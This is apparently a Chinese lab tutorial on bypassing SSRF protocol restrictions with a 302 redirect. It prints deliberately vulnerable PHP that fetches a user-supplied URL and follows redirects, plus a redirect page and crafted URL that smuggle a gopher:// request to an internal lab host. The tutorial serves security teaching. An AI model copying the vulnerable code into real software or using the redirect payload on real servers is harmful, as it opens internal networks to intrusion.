当前位置: 首页 > news >正文

SSRF10 各种限制绕过之30x跳转绕过协议限制

ssrf漏洞在厂商的处理下可能进行一些特殊处理导致我们无法直接利用漏洞

有以下四种:

1.ip地址限制绕过

2.域名限制绕过

3.30x跳转绕过域名限制

4.DNS rebinding绕过内网ip限制

本章我们讲30x跳转绕过域名限制

30x跳转绕过域名限制

       之前我们使用ssrf漏洞时可以利用各种协议进行访问,如file,gopher等等,如果厂商限制我们

只能使用http协议我们怎么进行绕过

我们可以利用30x跳转绕过域名限制

原理如下图所示:

用户请求                ->                        服务器                     ->                            目标
                                                          服务器                    <-              返回重定向到 NewTarget
                                                          服务器                     ->                        NewTarget

       SSRF 的本质就是服务器访问了目标,如果目标返回一个重定向,此时服务器如果支持跟随重

定向则再次访问新的目标,服务器在创建请求时可以设置是否跟随重定向,下面通过 php 代码演

示。

<?php
$ch=curl_init(); // 初始化一个 cURL 对象
$url=$_GET['url']; // 从 GET 请求中获取 URL 参数
curl_setopt($ch,CURLOPT_URL,$url); // 设置要访问的 URL
curl_setopt($ch,CURLOPT_HEADER,0); // 设置是否包含头部信息
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); // 设置是否返回输出,不直接输出到页面
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); // 设置是否跟随跳转
$res=curl_exec($ch); // 执行 cURL 请求并获取返回结果
var_dump(curl_error($ch) ); // 打印 cURL 错误信息(如果有)
curl_close($ch); // 关闭 cURL 资源
echo $res; // 输出返回的结果
?>

以上 php 代码接收 URL 参数通过 curl 方法创建新的请求,并设置支持重定向。

那么我们就设置完成靶场跟随重定向。

下面我们创建一个302跳转平台:

kali 创建 302 跳转页面,通过 Location 返回 302 跳转,跳转使用 gopher 协议。

<?php
header("Location:gopher://192.168.112.12:80/_GET%20/pikachu-master/vul/ssrf/ssrf_info/info1.php%20HTTP/1.1%0D%0AHost%3A%20192.168.112.12%0D%0A");
?>

自己注意一下拼写不要直接复制粘贴。

我们去靶场尝试:

我们打开靶场:

url:http://192.168.112.12/ssrf.php

我们构造url:http://192.168.112.12/ssrf.php?url=http://192.168.112.12/302.php

         可以看到 ssrf.php 访问 302.php 成功根据 Location 加载 gopher 协议访问 info1.php,这使

得ssrf.php 如果对 url 参数采取白名单限制仅 HTTP 协议是无效的,到此我们就完成了绕过。

       302 跳转也可以通过短连接平台实现跳转,这里不对短连接平台进行测试,个别短连接平台会

对目标进行检测,选择哪个短连接平台亦或者自建平台自行测试。

注意:能否使用30x跳转技巧,取决于服务器功能点是否启用跟随跳转

http://www.dtcms.com/a/271791.html

相关文章:

  • ip地址可以精确到什么级别?如何获取/更改ip地址
  • 配置双网卡Linux主机作为路由器(连接NAT网络和仅主机模式网络)
  • 在 Mac 上使用 Git 拉取项目:完整指南
  • 【算法笔记】6.LeetCode-Hot100-链表专项
  • selenium中find_element()用法进行元素定位
  • 在mac m1基于llama.cpp运行deepseek
  • Spring Boot 企业级动态权限全栈深度解决方案,设计思路,代码分析
  • C#基础:Winform桌面开发中窗体之间的数据传递
  • 【WEB】Polar靶场 Day8 详细笔记
  • 力扣 hot100 Day40
  • fastMCP基础(一)
  • imx6ull-裸机学习实验16——I2C 实验
  • 解锁localtime:使用技巧与避坑指南
  • shell 字符串常用操作
  • 网安系列【16】之Weblogic和jboss漏洞
  • 深入剖析 ADL:C++ 中的依赖查找机制及其编译错误案例分析
  • 短剧分销系统开发指南:从0到1构建高效变现平台
  • 基于双向cuk斩波均衡电路的串联锂离子均衡系统设计
  • 文心一言4.5开源部署指南及文学领域测评
  • frp内网穿透下创建FTP(解决FTP“服务器回应不可路由的地址。使用服务器地址替代”错误)
  • 【macos用镜像站体验】Claude Code入门使用教程和常用命令
  • JS实现页面实时时间显示/倒计时
  • SMTPman,smtp的端口号是多少全面解析配置
  • 【数据结构】时间复杂度和空间复杂度
  • 杰赛S65_中星微ZX296716免拆刷机教程解决网络错误和时钟问题
  • Java线程池原理概述
  • 浏览器 实时监听音量 实时语音识别 vue js
  • 解析LLM层裁剪:Qwen实战指南
  • 搭建自动化工作流:探寻解放双手的有效方案(1)
  • Spring Boot项目中大文件上传的高级实践与性能优化